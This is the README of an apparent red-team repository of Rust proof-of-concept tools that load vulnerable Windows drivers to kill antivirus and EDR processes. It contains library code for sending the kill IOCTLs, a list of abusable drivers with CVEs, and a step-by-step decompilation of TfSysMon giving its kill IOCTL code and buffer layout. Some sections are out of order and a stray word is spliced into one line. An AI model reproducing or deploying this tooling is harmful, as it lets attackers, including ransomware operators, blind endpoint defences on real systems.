BYOVD 是一个 PoC 集合,演示了如何利用易受攻击的驱动程序来禁用 AV/EDR 解决方案。
该集合既包含未公开的驱动程序,也包含已在 LOLDDrivers 或 Microsoft 推荐的驱动程序阻止规则 中已有覆盖的驱动程序。
自首次被发现以来,TfSysMon 驱动程序已被添加到 LOLDrivers,并被勒索软件团伙利用 EDRKillShifter 工具滥用,相关报告见 Sophos 和 ESET
BYOVD 技术近年来在进攻性安全领域广受欢迎,尤其是随着 SpyBoy 的 Terminator(售价 3,000 美元)和 ZeroMemoryEx Blackout 项目等工具的发布。这些工具利用易受攻击的驱动程序来禁用 AV/EDR 代理,通过降低检测率来促进进一步的攻击。
本仓库包含多个为教育目的开发的 PoC,帮助研究人员理解这些驱动程序如何被滥用以终止进程。
该项目组织为一个 Rust Cargo workspace。大多数 PoC 共享一个公共库(byovd-lib),用于处理样板代码:驱动程序服务生命周期、IOCTL 分发、进程监控、权限调整和清理。每个 killer 都是一个精简的二进制文件(约 50-100 行),仅定义其特定于驱动程序自身的配置。K7Terminator、Astra64-Killer、Ktapi-Killer 和 Xhunter1-Killer 是独立的 —— 它们拥有自己的 [workspace] 声明,并直接从各自的目录构建,而非通过根 workspace。```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
每个 `*-Killer/` 目录都包含自己的 `Cargo.toml`、`src/main.rs`(`DriverConfig` 实现 + CLI)、`README.md`(驱动哈希 + 用法),以及二进制文件在运行时加载的对应 `.sys` 文件。
## 🔧 构建
**前置要求:** Rust 工具链,以及包含 Windows SDK 的 Visual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
二进制文件输出到 target/release/。运行前,请将对应的 .sys 驱动程序文件复制到与可执行文件相同的目录中。
byovd-lib 是所有 PoC(K7Terminator 除外)所基于的共享库。它公开了两个互补的 API——一个高级声明式 API,用于标准的“安装驱动程序、见即杀、清理”流程;以及一个低级命令式 API,适用于需要自定义流程的杀手(附加到已加载的驱动程序、扇出到多个 PID、结构化 IOCTL 缓冲区、自定义重试逻辑等)。两者可以在同一二进制文件中混合使用。
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### 高级 API:`DriverConfig` trait + `run()`
这就是捆绑的杀手工具所使用的。实现该 trait,调用 `byovd_lib::run()`,即可完成。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() 执行:preflight_check → 安装服务(SERVICE_DEMAND_START)→ StartService → 即杀监控(Ctrl+C 退出)→ 停止并删除服务。
可选 trait 覆写及其默认值:
当 trait 流程不适用时——例如驱动已加载且只想触发一次 IOCTL、需要自定义重试策略、IOCTL 接受结构化输入而不仅仅是 PID,或想在所有匹配的 PID 间分发——可直接组合较低级别的组件。
驱动生命周期 —— ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL 分发** -- `DeviceHandle` 暴露了五种类型化形态:
| 方法 | 使用场景 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 输入和输出缓冲区均存在,且类型不同 |
| `ioctl_inout<T>(code, &mut data)` | 输入和输出共用同一缓冲区 |
| `ioctl_in<I>(code, &input)` | 仅输入,无输出缓冲区 |
| `ioctl_in_unchecked<I>(code, &input)` | 仅输入,忽略失败(`ignore_ioctl_error` 的按调用替代方案) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 原始指针逃生通道 |
当 IOCTL 接收结构体(例如 `{ pid: u32, padding: [u8; 20] }`)时,类型化形态省去了手动编写 `to_ne_bytes()` / `extend_from_slice()` 样板代码的步骤。
**进程查找** -- `find_pid_by_name(name)`(首个匹配项)和 `find_all_pids_by_name(name)`(所有匹配项,排除系统 PID ≤ 4)。
**自定义监控循环** -- `run_monitor_loop(name, interval, |pid| ...)` 接受一个闭包,让你可以对每个匹配项执行任意操作(多个 IOCTL、结构化日志、跨 PID 扇出、出错时重试)。
**权限** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` 适用于需要显式令牌权限的驱动程序。如果进程未以 `S-1-5-18` 身份运行,`ensure_running_as_local_system()` 将返回错误。
**句柄包装器** -- `WinHandle`(自动 `CloseHandle`)和 `ScHandle`(自动 `CloseServiceHandle`)均为 `Send + Sync`,可跨线程移动。
### 示例:附加到已加载的驱动程序,不涉及服务生命周期
这就是 `UnknownKiller --attach` 所做的——完全跳过 SCM,直接打开设备并触发一次 IOCTL:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle 仍然解析为 WinHandle / ScHandle,并且 get_pid_by_name 保留为 find_pid_by_name 的别名,因此引用这些旧名称的旧代码仍可编译。
以下是本仓库中可用的驱动程序及其对应的 POC:
OPSWAT AppRemover 的 ardrv.sys。EnTech Taiwan(Astra32 / TVicHW)的 astra64.sys——独立的纯数据 Shadow SSDT 劫持 EDR 杀手。百度杀毒 的 BdApiUtil64.sys(CVE-2024-51324)。CnCrypt 的 CcProtect.sys。Guidance EnCase 的 EnPortv.sys。本节以 TfSysMon 驱动程序为实际示例,演示完整的 A-Z 逆向工程方法论。该流程适用于任何 x64 Windows 内核驱动程序的分析。
在开始逆向工程之前,先检查驱动程序的导入函数。
一个基本的进程杀手驱动程序需要两样东西:
一种获取进程句柄的方法(例如 ZwOpenProcess 或 NtOpenProcess)
一种终止进程的方法(例如 ZwTerminateProcess 或 NtTerminateProcess)
检查驱动程序是否导入了这两种函数类型。如果驱动程序的导入函数中同时包含 Nt/ZwOpenProcess 和 Nt/ZwTerminateProcess,那么它就是一个潜在的进程杀手驱动程序候选。
只有在确认了这些导入之后,才应继续在 IDA Pro 中进行详细的逆向工程。
所需工具:
每个 Windows 驱动程序都从 DriverEntry 开始——首先找到这个函数:
在 TfSysMon 中,DriverEntry 如下所示:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**分析说明:**
- 该代码使用 BugCheckParameter2 和 BugCheckParameter3 执行一些初始化操作
- 真正的驱动程序初始化发生在 `sub_17484` 中
- 跟踪对 `sub_17484(DriverObject)` 的调用——这是实际驱动程序设置发生的位置
### 📍 步骤 2:跟踪驱动程序初始化链
**导航到初始化函数(`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
关键逆向工程发现:
\\Device\\TfSysMon(内核空间)\\DosDevices\\TfSysMon(用户模式可通过 \\.\\TfSysMon 访问)0x22 = FILE_DEVICE_UNKNOWNsub_17694导航至分发函数(sub_17694):```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**逆向工程分析:**
- 首先进行设备验证(`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` 决定操作类型
- **关键点**:MajorFunction 值 14(0xE)和 15(0xF)会调用 `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 处理
- 漏洞代码路径为:**IOCTL 请求 → sub_177D8**
### 📍 步骤 4:对 IOCTL 处理程序进行逆向工程
**导航至 IOCTL 处理函数(`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
关键逆向工程发现:
v7 = *(_DWORD *)(a2 + 24) 从 IO_STACK_LOCATION 获取 IOCTL 代码Irp->AssociatedIrp.MasterIrp 包含用户数据v9 = *(unsigned int *)(a2 + 16) 获取输入缓冲区大小0xB4A00404 通向 sub_1837C导航到进程终止函数(sub_1837C):```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**功能分析:**
- **输入结构**:根据驱动代码分析,我们确定了缓冲区布局,其中 PID 位于偏移量 +4 处
- **输入解析**:`v3 = *(void **)(a1 + 4)` 从输入缓冲区偏移量 +4 处提取 PID
- **进程打开**:使用最小访问权限(1u = PROCESS_TERMINATE)调用 `ZwOpenProcess`
- **无安全检查**:不验证调用者权限或目标进程保护
- **进程终止**:直接调用 `ZwTerminateProcess`
- **重试逻辑**:打开和终止均进行多次尝试
- **任意进程**:可终止 SYSTEM 账户可访问的任何进程
### 📍 步骤 6:映射完整攻击链
**完整逆向工程流程:**
1. **入口点**:用户在 `\\.\\TfSysMon` 上调用 `DeviceIoControl`
2. **IRP 创建**:I/O 管理器创建 MajorFunction = 14 的 IRP
3. **分发**:`sub_17694` 将 IOCTL 处理路由至 `sub_177D8`
4. **IOCTL 检查**:`sub_177D8` 验证 IOCTL 代码 `0xB4A00404` 及缓冲区大小 ≥ 24 字节
5. **执行**:使用用户输入缓冲区调用 `sub_1837C`
6. **终止**:`sub_1837C` 从偏移量 +4 处提取 PID,并通过 `ZwTerminateProcess` 终止进程
**输入缓冲区结构(来自驱动逆向工程):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
本方法论演示了如何系统地逆向工程任何 Windows x64 内核驱动程序,通过跟踪从用户模式通信到危险内核操作的执行路径,来识别类似的漏洞。
如果 BYOVD 对你的红队行动有所帮助,请考虑请我喝杯啤酒:
BYOVD 项目仅用于教育和研究目的。作者不对这些程序的任何滥用或造成的损害负责。在对任何系统使用这些工具之前,请务必寻求明确的许可。
| 方法 | 默认值 | 用途 |
|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW 访问标志 |
skip_unload() | false | 跳过驱动清理(例如卸载时导致 BSOD 的驱动) |
ignore_ioctl_error() | false | 将 IOCTL 失败视为成功(例如 NSecKrnl 在成功时报告错误) |
ioctl_output_size() | 0 | 预期的输出缓冲区大小(字节) |
preflight_check() | Ok(()) | 启动前验证(例如 LocalSystem 检查) |
Fedeen GamesGameDriverX64.sysGolink 的 GoFlyDrv.sys。HONOR(PCManager)的 HNOs2Ec.sys。华为 的 HWAudioOs2Ec.sys。K7 Computing 的 K7RKScan.sys(CVE-2025-52915、CVE-2025-1055)——完整分析文章。金山软件 的 ksapi64.sys / ksapi64_del.sys。Kontron 的 ktapi.sys——独立的两阶段 shellcode EDR 杀手。HONOR(HnRSMService)的 MonProcess.sys。HONOR 的 MonProcessEX.sys。NSEC 的 NSecKrnl.sys(ValleyRAT BYOVD 复现)。PC Tools 的 PCTcore64.sys(CVE-2026-8501)。微软 的 PoisonX.sys(@j3h4ck 复现)Safetica 的 STProcessMonitor.sys(CVE-2025-70795,支持 v11.11.4 和 v11.26.18)。ThreatFire System Monitor 的 sysmon.sys。unknown.sys(驱动来源待定)。Tg Soft 的 viragt64.sys。Topaz Antifraud 的 wsftprm.sys(CVE-2023-52271)。Wellbia(XIGNCODE3,CVE-2026-3609)的旧版 xhunter1.sys。JiranJikyosoft X-Keeper 的 xkpsm.sys。